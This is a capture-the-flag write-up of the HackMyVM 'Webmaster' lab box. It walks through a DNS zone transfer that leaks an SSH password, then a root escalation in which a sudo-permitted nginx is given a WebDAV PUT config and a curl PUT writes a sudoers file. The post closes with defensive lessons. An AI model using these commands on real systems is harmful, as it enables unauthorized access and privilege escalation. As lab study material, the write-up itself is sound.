HMV Webmaster Summary

2026-03-29 2026-03-29424 Words

Scope

Name: Webmaster
Difficulty: (2/10)
OS: Linux
IP: webmaster.hmv(192.168.56.112)

Foothold

A quick scan exposed only three TCP services, and 53 stood out immediately because DNS is not a common attack surface on a box whose web root looks almost empty.

❯ nmap -sC -sV -p22,53,80 webmaster.hmv

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
53/tcp open  domain  Eero device dnsd
80/tcp open  http    nginx 1.14.2

The web page itself only revealed a virtual-host hint and a comic that, in retrospect, was the real clue.

❯ curl http://192.168.56.112
<img src="comic.png" alt="comic">
<!--webmaster.hmv-->

Figure 1: The homepage clue was not subtle: somebody stored a password in a TXT record.

Directory brute forcing confirmed that the HTTP surface was basically empty.

❯ feroxbuster -u http://webmaster.hmv/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt -x php,html,txt,bak,zip,pdf

200      GET        2l        4w       57c http://webmaster.hmv/
200      GET        2l        4w       57c http://webmaster.hmv/index.html
200      GET     1678l    10043w   845816c http://webmaster.hmv/comic.png

At that point DNS became the obvious target. I tried a zone transfer against the authoritative server and the box handed over the entire webmaster.hmv zone.

AXFR is the full DNS zone transfer operation. It is designed for replication between authoritative name servers: a primary server streams the complete zone to a secondary over TCP/53. A normal DNS query asks for one record set, while AXFR returns the whole zone. IXFR is the incremental variant that sends only changes. If AXFR is exposed to arbitrary clients, it becomes a pure information disclosure bug because it reveals internal hostnames, mail routes, and any secrets an administrator carelessly placed in DNS.

❯ dig axfr webmaster.hmv @192.168.56.112

webmaster.hmv.      604800  IN  SOA ns1.webmaster.hmv. root.webmaster.hmv. 2 604800 86400 2419200 604800
webmaster.hmv.      604800  IN  NS  ns1.webmaster.hmv.
ftp.webmaster.hmv.  604800  IN  CNAME   www.webmaster.hmv.
john.webmaster.hmv. 604800  IN  TXT "My************rd"
mail.webmaster.hmv. 604800  IN  A   192.168.0.12
ns1.webmaster.hmv.  604800  IN  A   127.0.0.1
www.webmaster.hmv.  604800  IN  A   192.168.0.11
webmaster.hmv.      604800  IN  SOA ns1.webmaster.hmv. root.webmaster.hmv. 2 604800 86400 2419200 604800

The standout record was john.webmaster.hmv TXT "My************rd". I tested that value against SSH for user john, and it was valid. That single TXT record was enough to turn a DNS leak into an interactive shell.

Privilege Escalation

The first post-exploitation check immediately exposed the next mistake.

john@webmaster:~$ sudo -l
Matching Defaults entries for john on webmaster:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on webmaster:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

That sudoers rule is much more dangerous than it looks. (ALL : ALL) means john can start nginx as any user and group, and nginx accepts a user-controlled configuration file. Following the GTFBins technique, I launched a temporary instance that served / on port 8080 with WebDAV PUT enabled, effectively turning nginx into a privileged arbitrary file writer.

A minimal configuration for that idea looks like this:

events {}

http {
    server {
        listen 8080;
        root /;

        location / {
            dav_methods PUT;
        }
    }
}

With that in place, I uploaded a new sudoers drop-in directly into /etc/sudoers.d/.

❯ cat sudoer_john
john ALL=(ALL:ALL) ALL

❯ curl -X PUT http://webmaster.hmv:8080/etc/sudoers.d/john --data-binary @sudoer_john

After the file landed successfully, sudo reflected the new rule and root access was immediate.

john@webmaster:~$ ls /etc/sudoers.d/
john  README

john@webmaster:~$ sudo -l
Matching Defaults entries for john on webmaster:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on webmaster:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx
    (ALL : ALL) ALL

john@webmaster:~$ sudo -i
root@webmaster:~# id
uid=0(root) gid=0(root) groups=0(root)

Takeaways

This machine was a clean two-step chain: an unauthenticated DNS information leak became valid SSH credentials, and an overly powerful sudo rule turned one low-privileged shell into full root.

The defensive lessons are straightforward:

Restrict zone transfers to authorized secondary name servers only, ideally with both ACLs and TSIG.
Never treat DNS TXT records as a place to store credentials or operational secrets.
Treat configurable server binaries in sudoers as dangerous. If a program can load attacker-controlled configuration, it can often be turned into a read, write, or code-execution primitive.